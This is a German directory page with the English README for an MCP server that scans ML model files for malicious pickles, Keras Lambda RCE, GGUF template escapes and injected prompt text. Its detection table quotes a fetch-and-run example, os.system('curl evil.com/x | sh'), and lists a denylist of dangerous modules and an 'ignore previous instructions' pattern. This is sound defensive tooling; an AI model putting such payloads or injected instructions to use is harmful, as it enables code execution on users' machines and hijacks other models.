model-scanner MCP server
Commit 12. Nov. 2026Scannt Machine-Learning-Modeldateien wie PyTorch, safetensors und GGUF auf Supply-Chain-Risiken und Schwachstellen für die Ausführung von Schadcode.
Auch bekannt als GuardBee/guardbee-mcp, @guardbee/mcp-model-scanner
- Stars
- 2
- Tools
- 4
- Downloads, 30 Tage
- 2.173
- Neueste Version
- 0.1.2
- Letzter Commit
- 12. Nov. 2026
- Lizenz
- MIT
Was ist model-scanner MCP?
model-scanner ist ein MCP server. Scannt Machine-Learning-Modeldateien wie PyTorch, safetensors und GGUF auf Supply-Chain-Risiken und Schwachstellen für die Ausführung von Schadcode. Er stellt 4 Tools bereit, etwa scan_file, scan_directory, scan_hf_repo.
Zusammenfassung generiert aus dem README des Projekts
Über model-scanner MCP server
Security Researcher und Machine Learning Engineers können ihre Workflows schützen, indem sie Modeldateien auf Supply-Chain-Risiken und die Ausführung von Schadcode scannen. Dieser MCP server inspiziert Artefakte wie PyTorch Checkpoints, safetensors, GGUF und Keras-Dateien, um Schwachstellen zu identifizieren, bevor sie in den Speicher geladen werden. Er funktioniert lokal über einen MCP Client wie Claude Desktop oder über ein Command Line Interface für die CI/CD-Integration.
Im Gegensatz zu Tools, die nur den Integrationscode überwachen, analysiert dieser Server die eigentlichen Modeldateien auf gefährliche Opcodes und versteckte Instruktionen. Er nutzt eine eigens entwickelte Pickle-Maschine, um Bytecode zu durchlaufen, ohne ihn auszuführen, was die Sicherheit beim Inspizieren von .pt, .pkl oder .joblib Dateien gewährleistet. Der Scanner validiert zudem die strukturelle Integrität von safetensors und prüft GGUF-Dateien auf Chat-Template-Sandbox-Escapes oder injizierten Text. Nutzer können einzelne Dateien, ganze Verzeichnisse oder spezifische Hugging Face Repositories scannen, indem sie eine Revisions-ID angeben.
Was du damit machen kannst
- 1Sicherheit in CI/CD automatisierenIntegriere das Model Scanning in deine Deployment-Pipelines unter Verwendung von SARIF-Output, um Risiken mit hoher Priorität abzufangen.
Geschrieben aus dem README des Projekts. Jeder Use Case wurde gegen ein Zitat daraus geprüft.
So installierst du model-scanner MCP
Formate geprüft am 10. Nov. 2026Zu Cursor hinzufügenZu Goose hinzufügenmodel-scanner MCP in Claude Code installieren
$ claude mcp add model-scanner -- npx -y @guardbee/mcp-model-scannermodel-scanner MCP in Cursor installieren
~/.cursor/mcp.json
{
"mcpServers": {
"model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}model-scanner MCP in VS Code installieren
.vscode/mcp.json
{
"servers": {
"model-scanner": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}model-scanner MCP in VS Code CLI installieren
$ code --add-mcp '{"name":"model-scanner","type":"stdio","command":"npx","args":["-y","@guardbee/mcp-model-scanner"]}'model-scanner MCP in Claude Desktop installieren
claude_desktop_config.json
{
"mcpServers": {
"model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}model-scanner MCP in Codex installieren
$ codex mcp add model-scanner -- npx -y @guardbee/mcp-model-scannermodel-scanner MCP in Codex config.toml installieren
~/.codex/config.toml
[mcp_servers.model-scanner] command = "npx" args = ["-y", "@guardbee/mcp-model-scanner"]
model-scanner MCP in Gemini CLI installieren
$ gemini mcp add -s user model-scanner npx -- -y @guardbee/mcp-model-scannermodel-scanner MCP in Gemini settings.json installieren
~/.gemini/settings.json
{
"mcpServers": {
"model-scanner": {
"command": "npx",
"args": [
"-y",
"@guardbee/mcp-model-scanner"
]
}
}
}model-scanner MCP tools 4
Erkannt aus dem READMEscan_filescan_directoryscan_hf_repolist_patterns
| scan_file | — | |
| scan_directory | — | |
| scan_hf_repo | — | |
| list_patterns | — |
Automatisierte Checks
Geluften am 13. Nov. 2026Vollständiger Bericht →Noch nicht verifiziert. Ein Server benötigt einen Score von 80, keine kritischen Befunde und genug Daten für unsere Prüfung. Wie die Checks funktionieren · Was du für mehr Punkte verbessern kannst
- Source Repository verknüpft und erreichbarBestanden
- Open Source Lizenz (OSI)Bestanden
- Commit oder Release im letzten JahrBestanden
- Package-Name ähnelt keinem populären PackageBestanden
- Remote Endpoint nutzt HTTPSNicht geprüft
- Destruktive Tools sind markiertBestanden
- Keine versteckten Anweisungen an das ModellInstruction aimed at the model found in the description or READMEBefund
- Keine kritischen Advisories im Paket oder seinen AbhängigkeitenBestanden
README
Auf GitHub ansehen@guardbee/mcp-model-scanner
🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch
An MCP (Model Context Protocol) server that scans ML model files for supply-chain risks — the file itself, not the code that loads it.
Most "AI security" tooling looks at your integration code or the prompts flowing through it. This package looks at the artifact you (or a teammate, or a pip install) downloaded from Hugging Face, a registry, or an S3 bucket — or at a Hugging Face repo directly, pinned to a commit. A .pt/.pth/.pkl/.joblib checkpoint is a pickle file, and unpickling isn't just data deserialization — it can call arbitrary Python code the moment the file is loaded (torch.load(), pickle.load(), etc). A malicious checkpoint is a real, well-documented attack vector, not a hypothetical one.
Telemetry is off by default. With
GUARDBEE_TELEMETRY=1it sends the server, tool, success, duration and short parameter values such as a file path; longer strings and fields likecontent,tokenorpasswordare replaced with a placeholder. See@guardbee/mcp-telemetry.
Claude ──► model-scanner ──► Your model files
│
├─ .pt / .pth / .ckpt → PyTorch zip container: extract data.pkl, walk the pickle
├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included)
├─ .joblib / .jbl → pickle + the array bytes and nested pickles joblib embeds
├─ .npy / .npz → object arrays (pickled data), pickles disguised as NumPy
├─ .safetensors → header structure + disguised-binary check
├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip)
├─ .onnx → external_data path-traversal heuristic
├─ .gguf → header/tensor bounds, chat-template SSTI and injected text
├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python
└─ hf://owner/repo@rev → every model file of a Hugging Face repo at one commit
Why pickle is the core of this
Pickle streams are bytecode for a tiny stack VM. A GLOBAL/STACK_GLOBAL opcode names any importable Python object; the very next opcodes typically call it. There is nothing stopping a crafted pickle from naming os.system or subprocess.Popen instead of a tensor-rebuilding function — and pickle.load()/torch.load() will happily resolve and invoke it. This is the same technique tools like picklescan/fickling/Hugging Face's Picklescan integration are built around.
This package implements a from-scratch pickle machine (protocols 0–5) rather than shelling out to Python or using a regex. It walks the opcode stream byte by byte and tracks the stack and memo without calling anything, so a protocol 4+ STACK_GLOBAL resolves to the module and name actually on the stack, including strings fetched back from the memo, as NumPy 2 pickles do. A regex over raw bytes would both miss and misfire constantly.
joblib needs the same machine: joblib.dump writes each NumPy array's raw bytes (or, for object arrays, a whole nested pickle) right after the array's NumpyArrayWrapper. The scanner reads the wrapper's shape and dtype from the stack, skips exactly that many bytes, and checks the nested pickles too.
Every GLOBAL/STACK_GLOBAL/INST reference found is checked against:
- a denylist of modules with no legitimate reason to appear in a tensor deserialization path (
os,subprocess,socket,builtins.eval,ctypes, …) → reported as critical/high - an allowlist of the modules real ML frameworks actually reference (
numpy,torch,sklearn,collections, …) → silently safe, no noise - anything else → reported as medium ("unknown", not "malicious" — for manual review, keeping the false-positive rate low)
For PyTorch's default zip-based checkpoint format, the scanner reads the ZIP central directory directly off disk (with Zip64 support) to locate and extract just the small data.pkl metadata entry — it never loads a multi-gigabyte checkpoint fully into memory.
Features
- Real pickle parsing — a stack-tracking pickle machine, not a regex, not a Python subprocess call
- 44 dangerous-global rules across 6 risk categories (code-execution, process-execution, network, filesystem, reflection, deserialization), including dill's code-object and import gadgets
- PyTorch zip container support (including Zip64) — extracts and scans
data.pklwithout loading the full checkpoint - joblib — walks past embedded arrays to every pickle opcode in the file, nested object-array pickles included; zlib/gzip dumps are decompressed
- NumPy
.npy/.npz— object arrays (stored as a pickle, loaded withallow_pickle=True) and plain pickles renamed to a NumPy extension .safetensorsstructural validation — malformed/out-of-bounds headers, and detection of a pickle/zip disguised with a.safetensorsextension- Keras Lambda-layer RCE — in
.h5, Keras 3.keraszips and SavedModelkeras_metadata.pb - ONNX
external_datapath-traversal heuristic - GGUF — header counts, string and array lengths, tensor dimensions, types and data bounds checked against the file; chat templates checked for Jinja sandbox escapes, hidden characters and instructions aimed at the model
- TensorFlow — SavedModel, frozen GraphDef (
.pb/.pbtxt) and TFLite Flex ops that read or write files, call Python or send tensors to a debug URL - Hugging Face repos —
scan_hf_repo/scan hf://owner/repo@revisionresolves the revision to a commit and scans every model file from it - Bounded reads everywhere (10MB pickle prefix, 100MB safetensors header cap, 50MB zip-entry cap, GGUF and joblib read through a 4MB window) — safe against decompression bombs and won't OOM on huge model files
- SARIF 2.1.0 output — CI/CD integration (GitHub Code Scanning, etc.)
- Config file support via
guardbee.yml - 82 unit tests with malicious and benign fixtures for every format, plus a false-positive check against popular public models
Quick Start
Claude Desktop / MCP Client
{
"mcpServers": {
"guardbee-model-scanner": {
"command": "npx",
"args": ["-y", "@guardbee/mcp-model-scanner"]
}
}
}
CLI (CI/CD)
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif
# A Hugging Face model repo at a pinned commit (branch, tag or sha; HF_TOKEN for gated/private repos)
npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e
In repo mode the revision is resolved to a commit sha and every file is read from that commit, so the result describes a fixed snapshot; findings point at hf://owner/repo@sha/path. Files up to 256 MB are downloaded whole. Larger ones are checked from their first 64 MB, plus the last 64 MB for zip containers (the central directory), which holds every header, pickle stream and tensor table the checks read.
MCP Tools
| Tool | Description |
|---|---|
scan_file |
Scans a single model file |
scan_directory |
Recursively scans a directory of model files (a SavedModel through its saved_model.pb) |
scan_hf_repo |
Scans every model file of a Hugging Face model repo at a pinned commit |
list_patterns |
Lists the dangerous-global catalog by risk category, and the TensorFlow ops checked |
What it catches
| Format | Check | Severity | Example |
|---|---|---|---|
| pickle / PyTorch | Reference to os, posix, nt, subprocess, socket, ctypes, runpy, pty.spawn, platform.popen, commands |
critical | os.system('curl evil.com/x | sh') |
| pickle / PyTorch | builtins.eval/exec/compile/__import__, pickle.loads, marshal.loads |
critical | recursive/nested payload, or a direct eval |
| pickle / PyTorch | builtins.getattr/open, shutil.*, importlib.*, requests.*, webbrowser.open, urllib*.urlopen |
high | exfiltration, SSRF, file read/write |
| safetensors | Header starts with a pickle/zip signature instead of a length | critical | a .pkl renamed to .safetensors |
| safetensors | Tensor data_offsets exceed the actual data section |
high | a parser reading out-of-bounds |
| safetensors | Invalid/oversized header length, non-JSON header | high | corrupt or adversarially crafted header |
| Keras .h5/.keras/SavedModel | class_name: "Lambda" in the model config |
critical | marshalled-function RCE on load |
| ONNX | external_data location containing .. |
high | path traversal to an arbitrary file |
| dill | dill._dill._create_code/_create_function/_eval_repr |
critical | a function rebuilt from bytecode and called during load |
| dill | dill._dill._import_module/_get_attr/_create_filehandle |
high | reaching os.system without naming os |
| joblib | any of the pickle rules, in the main stream or a nested object-array pickle | as the rule | a payload hidden after a real array |
| NumPy | object dtype; a pickle with a .npy extension |
medium / high | np.load(..., allow_pickle=True) unpickles it |
| GGUF | chat template reaching Python internals (__class__, __globals__, …) |
critical | Jinja sandbox escape (CVE-2024-34359) |
| GGUF | hidden Unicode or "ignore previous instructions"-style text in metadata | high | instructions injected into every conversation |
| GGUF | counts, lengths, dimensions or tensor bounds inconsistent with the file | high | heap overflow in an unpatched loader |
| TensorFlow | WriteFile / ReadFile / PyFunc / file datasets / PrintV2 to file:// |
critical–medium | a graph that touches the serving host |
Full dangerous-global catalog: run the list_patterns tool, or see src/dangerousGlobals.ts.
Rule IDs added in 0.4
| Rule ID | Severity |
|---|---|
pickle_dangerous_global_dill__dill_*, pickle_dangerous_global_dill_dill_* |
critical / high |
joblib_partial_scan, joblib_compressed_unsupported, joblib_compressed_too_large, joblib_decompress_failed, joblib_unrecognized |
low / medium |
numpy_object_array |
medium |
numpy_disguised_pickle |
high |
numpy_bad_header, numpy_npz_unreadable |
medium |
numpy_npz_entry_unreadable, numpy_npz_partial_scan |
low |
gguf_chat_template_ssti |
critical |
gguf_metadata_injected_instructions, gguf_metadata_hidden_characters, gguf_malformed_header, gguf_tensor_out_of_bounds, gguf_bad_magic |
high |
gguf_duplicate_tensor, gguf_tensor_misaligned |
medium |
gguf_chat_template_url, gguf_unknown_tensor_type, gguf_not_parsed |
low |
tf_op_writefile |
critical |
tf_op_readfile, tf_op_pyfunc, tf_op_pyfuncstateless, tf_op_eagerpyfunc |
high |
tf_op_matchingfiles, tf_op_immutableconst, tf_op_*dataset*, tf_op_printv2, tf_op_debug* |
medium |
tf_saved_model_malformed, tflite_bad_identifier, keras_config_unreadable |
medium |
tf_graph_too_large |
low |
SARIF output keeps its shape: each rule ID becomes a rules[] entry as before.
Checked against public models
Scanned with scan hf://… on 2026-10-30. Every finding on these repos is listed; none is a false positive. The low "partial scan" notes come from files larger than the 10 MB prefix the pickle, H5 and ONNX checks read.
| Repo @ commit | Formats | Findings |
|---|---|---|
openai-community/gpt2@607a30d |
PyTorch (legacy pickle), safetensors, H5, ONNX, TFLite | 5 low partial-scan notes |
google-bert/bert-base-uncased@86b5e09 |
PyTorch, safetensors, H5, ONNX | 3 low partial-scan notes |
sentence-transformers/all-MiniLM-L6-v2@1110a24 |
PyTorch, safetensors, H5, 9 ONNX variants | 10 low partial-scan notes |
Qwen/Qwen2.5-0.5B-Instruct-GGUF@9217f5d |
GGUF (9 quantizations incl. fp16, K-quants) | none |
bartowski/Llama-3.2-1B-Instruct-GGUF@067b946 |
GGUF (18 quantizations incl. IQ types) | 3 low notes: tensor types 31–33, removed from ggml |
microsoft/Phi-3-mini-4k-instruct-gguf@a641133 |
GGUF | none |
keras-io/ocr-for-captcha@1d695c4 |
SavedModel + keras_metadata.pb | none |
keras-io/timeseries-anomaly-detection@5712601 |
SavedModel; profiler .pb files skipped as non-graphs |
none |
suno/bark-small@1dbd7a1 |
PyTorch, 783 .npy speaker prompts |
none |
julien-c/wine-quality@90ef3b7 |
scikit-learn joblib | none |
mcpotato/42-eicar-street@8fb61c4 |
Hugging Face's malicious-pickle test repo | model_broken_X.pkl: critical builtins.exec (the only payload with a model extension) |
These are heuristic findings tuned for a low false-positive rate — HDF5 and ONNX in particular are complex binary/protobuf formats scanned via a bounded text-pattern search rather than a full structural parse. Every finding should still be reviewed; a clean scan is not a formal safety proof.
Configuration (guardbee.yml)
model-scanner:
fail-on: high # any | critical | high | medium | low | none
max-files: 2000
exclude:
- "fixtures/"
Limitations (by design)
- Only the first 10MB of a raw (non-zip) pickle stream is scanned (joblib files are walked to the end) — dangerous globals must be referenced before their instances in a pickle stream, so this bound is a reasonable trade-off against loading huge legacy checkpoints fully into memory.
- ZIP extraction supports STORED and DEFLATE only (covers the default PyTorch checkpoint format).
- HDF5/ONNX checks are pattern-based on a bounded prefix, not a full structural/protobuf parse.
- joblib files compressed with bz2, xz, lzma or lz4 are reported, not decompressed. GGUF v1 and big-endian GGUF files are reported, not parsed.
- TFLite checks look for Flex delegate op names; builtin TFLite ops are tensor math only.
- GGUF instruction checks look for common injection phrasing and hidden characters; a carefully worded instruction can still pass. Read the chat template of a model you did not build.
- This scans the file, not runtime behavior — it does not execute or sandbox anything.
Development
npm run build
npm test # 82 unit tests
License
MIT — GuardBee
Feedback
Questions, ideas, or a false positive? Start a thread in GitHub Discussions or open an issue. If GuardBee is useful to you, a ⭐ on the repository helps others find it.
model-scanner MCP Fragen
Wie füge ich model-scanner MCP zu Claude Code hinzu?
Führe claude mcp add model-scanner -- npx -y @guardbee/mcp-model-scanner in deinem Terminal aus. Füge --scope user hinzu, damit der Server in jedem Projekt verfügbar ist.
Wie füge ich model-scanner MCP zu Cursor hinzu?
Öffne ~/.cursor/mcp.json und füge den Server unter mcpServers hinzu, mit der Cursor-Config aus dem Installationsabschnitt oben.
Welche Tools bietet model-scanner MCP?
Er stellt 4 Tools bereit, darunter scan_file, scan_directory, scan_hf_repo, list_patterns.
Kann ich ein Hugging Face Repository direkt scannen?
Ja, du kannst das scan_hf_repo Tool nutzen, um jede Modeldatei in einem Hugging Face Repo bei einem spezifischen gepinnten Commit zu scannen.
Lädt der Scanner das gesamte Modell in den Arbeitsspeicher?
Nein, er nutzt Bounded Reads und spezielle Extraktionsmethoden, wie das Lesen des ZIP Central Directory für PyTorch-Dateien, um zu verhindern, dass Multi-Gigabyte-Checkpoints vollständig in den Speicher geladen werden.
Ist Telemetrie standardmäßig aktiviert?
Nein, Telemetrie ist standardmäßig deaktiviert.